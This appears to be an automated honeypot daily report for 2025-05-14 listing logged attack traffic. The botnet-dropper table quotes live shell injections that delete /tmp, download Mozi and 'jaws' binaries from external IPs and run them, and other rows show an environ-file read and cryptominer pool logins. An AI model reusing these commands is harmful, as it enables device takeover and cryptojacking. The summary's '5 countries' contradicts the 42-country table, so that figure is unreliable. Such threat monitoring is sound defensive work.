Daily Report: 2025-05-14#
Executive summary#
interaction report on http service of various Hhoneypot around the world.
- Executive summary
- OT report simplified
- Botnet dropper behaviour
- List of request
- List of country_iso_code
executive_summary#
In today’s repport, we detected 5 stage 1 IP address(es), linked to 5 dropper URL(s).
There are 19 new requests that have never been observed before (these were added to the monitored request database.).
A total of 1098 requests were recorded during the day, originating from 5 different countries, with a peak of 215 requests coming from BG.
ot_simplified_report#
simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.
source_country | targeted_country |
---|---|
US | Dubai |
CN | Georgia |
FR | Georgia |
botnet_dropper_behaviour#
remote_addr | request |
---|---|
47.93.212.99 | GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.189.31.150/jawsselfrep;chmod+777+/tmp/jawsselfrep;sh+/tmp/jaws.selfrep HTTP/1.1 |
115.63.240.101 | 27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0 |
156.212.104.100 | GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.135.194.174/jaws;sh+/tmp/jaws HTTP/1.1 |
60.23.232.109 | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://60.23.232.109:37651/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
103.42.243.6 | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.10.146.242:56641/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
request#
The list of requests presented here are those that have not yet been yet integrated into the request database.
number_of_occurence | request | |
---|---|---|
69 | 4 | GET /goform/formJsonAjaxReq HTTP/1.1 |
77 | 3 | GET /@fs/proc/self/environ?raw?? HTTP/1.1 |
122 | 1 | GET /OZGl HTTP/1.1 |
129 | 1 | POST /api/user/binLookup?time=1747193185668050900 HTTP/1.1 |
130 | 1 | GET /api/bin/440393?time=1747193184575167987 HTTP/1.1 |
131 | 1 | GET /config/index?time=1747192974832206021 HTTP/1.1 |
132 | 1 | GET /9VWw HTTP/1.1 |
133 | 1 | GET /Y6al HTTP/1.1 |
185 | 1 | GET /socket.io/1/?t=1747236057213 HTTP/1.1 |
187 | 1 | GET /stalker_portal/c HTTP/1.1 |
193 | 1 | HEAD /files.rar HTTP/1.1 |
207 | 1 | GET /www/.git HTTP/1.1 |
217 | 1 | GET /9Dop HTTP/1.1 |
218 | 1 | GET /VHGx HTTP/1.1 |
251 | 1 | {\x22id\x22:1,\x22jsonrpc\x22:\x222.0\x22,\x22method\x22:\x22login\x22,\x22params\x22:{\x22login\x22:\x224967iFVimMwZ41gfEG2S5aYTBPDMYwJ9LRJQyepwyggnfUYMgkdqAjB25N7JKCmmS3BqummF2gEbDNnAXBh513zxQqPdwE5\x22,\x22pass\x22:\x22x\x22,\x22agent\x22:\x22XMRig/6.15.3 (Windows NT 10.0; Win64; x64) libuv/1.42.0 msvc/2019\x22,\x22algo\x22:[\x22cn/1\x22,\x22cn/2\x22,\x22cn/r\x22,\x22cn/fast\x22,\x22cn/half\x22,\x22cn/xao\x22,\x22cn/rto\x22,\x22cn/rwz\x22,\x22cn/zls\x22,\x22cn/double\x22,\x22cn/ccx\x22,\x22cn-lite/1\x22,\x22cn-heavy/0\x22,\x22cn-heavy/tube\x22,\x22cn-heavy/xhv\x22,\x22cn-pico\x22,\x22cn-pico/tlo\x22,\x22cn/upx2\x22,\x22rx/0\x22,\x22rx/wow\x22,\x22rx/arq\x22,\x22rx/graft\x22,\x22rx/sfx\x22,\x22rx/keva\x22,\x22argon2/chukwa\x22,\x22argon2/chukwav2\x22,\x22argon2/ninja\x22,\x22astrobwt\x22]}} |
252 | 1 | {\x22id\x22:1,\x22method\x22:\x22eth_submitLogin\x22,\x22worker\x22:\x22igwrcvap\x22,\x22params\x22:[\x220x120dc7ce9f5d58d67c2d3c96da8e1a3b6d0fffbe\x22,\x22x\x22],\x22jsonrpc\x22:\x222.0\x22} |
263 | 1 | GET /cfg/test HTTP/1.1 |
270 | 1 | CONNECT ipinfo.io:443 HTTP/1.1 |
320 | 1 | GET /CNzR HTTP/1.1 |
country_iso_code#
number_of_occurence | country_iso_code | |
---|---|---|
0 | 215 | BG |
1 | 213 | US |
2 | 147 | GB |
3 | 66 | NL |
4 | 62 | CH |
5 | 50 | PL |
6 | 49 | BE |
7 | 42 | SC |
8 | 35 | FR |
9 | 33 | ES |
10 | 24 | CN |
11 | 18 | DE |
12 | 13 | LT |
13 | 13 | KR |
14 | 12 | AZ |
15 | 12 | SG |
16 | 11 | PT |
17 | 9 | NG |
18 | 7 | GH |
19 | 5 | RU |
20 | 5 | TH |
21 | 5 | JP |
22 | 5 | IT |
23 | 5 | UA |
24 | 4 | BR |
25 | 4 | CA |
26 | 4 | IL |
27 | 4 | TR |
28 | 3 | VN |
29 | 3 | ID |
30 | 3 | IN |
31 | 2 | HK |
32 | 2 | TW |
33 | 2 | IR |
34 | 2 | CZ |
35 | 2 | VE |
36 | 2 | AU |
37 | 1 | EG |
38 | 1 | MD |
39 | 1 | CY |
40 | 1 | GE |
41 | 1 | ZA |